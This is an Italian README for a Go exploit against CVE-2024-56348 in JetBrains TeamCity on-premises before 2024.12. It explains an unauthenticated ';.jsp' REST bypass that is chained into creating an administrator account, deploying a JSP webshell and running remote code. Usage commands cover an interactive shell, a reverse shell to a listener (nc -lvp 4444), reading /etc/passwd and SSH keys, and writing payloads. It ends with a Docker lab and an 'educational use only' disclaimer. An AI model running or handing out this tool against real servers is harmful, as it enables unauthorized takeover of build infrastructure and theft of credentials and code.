Exploit basato su Go per CVE-2024-56348 che colpisce il bypass dell'autenticazione e l'esecuzione remota di codice in JetBrains TeamCity. Fornisce shell interattiva, reverse shell, lettura/scrittura di file ed esecuzione di comando singolo senza credenziali.
CVE-2024-56348 è una vulnerabilità critica di bypass dell'autenticazione in JetBrains TeamCity on-premises che interessa tutte le versioni precedenti alla 2024.12. L'API REST gestisce in modo improprio le richieste a percorsi contenenti ;.jsp, consentendo a un utente non autenticato di invocare qualsiasi endpoint REST come se fosse completamente autenticato.
Questo exploit combina il bypass con la propria API REST di TeamCity per creare un account SYSTEM_ADMIN, generare un token API e ottenere esecuzione completa di codice remoto — sia attraverso l'endpoint di debug integrato che tramite una webshell JSP caricata dinamicamente. Non sono richieste credenziali.
Versioni affette: JetBrains TeamCity on-premises < 2024.12
-command con output completo di stdout, stderr e codice di uscitagit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t URL di destinazione (es. http://127.0.0.1:8111)
-command Esegue un singolo comando e stampa l'output
-shell Avvia una reverse shell (richiede -lhost e -lport)
-lhost Host del listener per la reverse shell
-lport Porta del listener per la reverse shell
-read-file Legge un file remoto e ne stampa il contenuto
-write-file Percorso remoto in cui scrivere (richiede -file-content)
-file-content Contenuto da scrivere quando si usa -write-file
Nessun flag di azione avvia automaticamente una shell interattiva.
Si connette al target, conferma il bypass, crea un account amministratore temporaneo e avvia una shell interattiva. Il prompt mostra il codice di uscita dell'ultimo comando in verde (successo) o rosso (non zero).
./cve-2024-56348 -t http://127.0.0.1:8111

Esegue un comando e stampa stdout, stderr e codice di uscita separatamente.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

Distribuisce la webshell JSP e attiva una reverse shell verso il tuo listener. Prima avvia nc -lvp 4444.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

Legge qualsiasi file accessibile dal processo TeamCity — utile per file di configurazione, chiavi SSH, ecc.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

Scrive contenuti arbitrari in un percorso remoto. Utile per depositare payload aggiuntivi o modificare la configurazione.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

Un ambiente Docker Compose autonomo con un'istanza vulnerabile di TeamCity per test locali. Vedi DOCKER.md per maggiori dettagli
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
Se lo script restituisce "[-] Plugin upload failed." prova ad accedere con l'utente hackindex e riprova. (le credenziali sono in DOCKER.md)
Questo strumento è fornito solo a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per eventuali usi impropri o danni causati da questo strumento.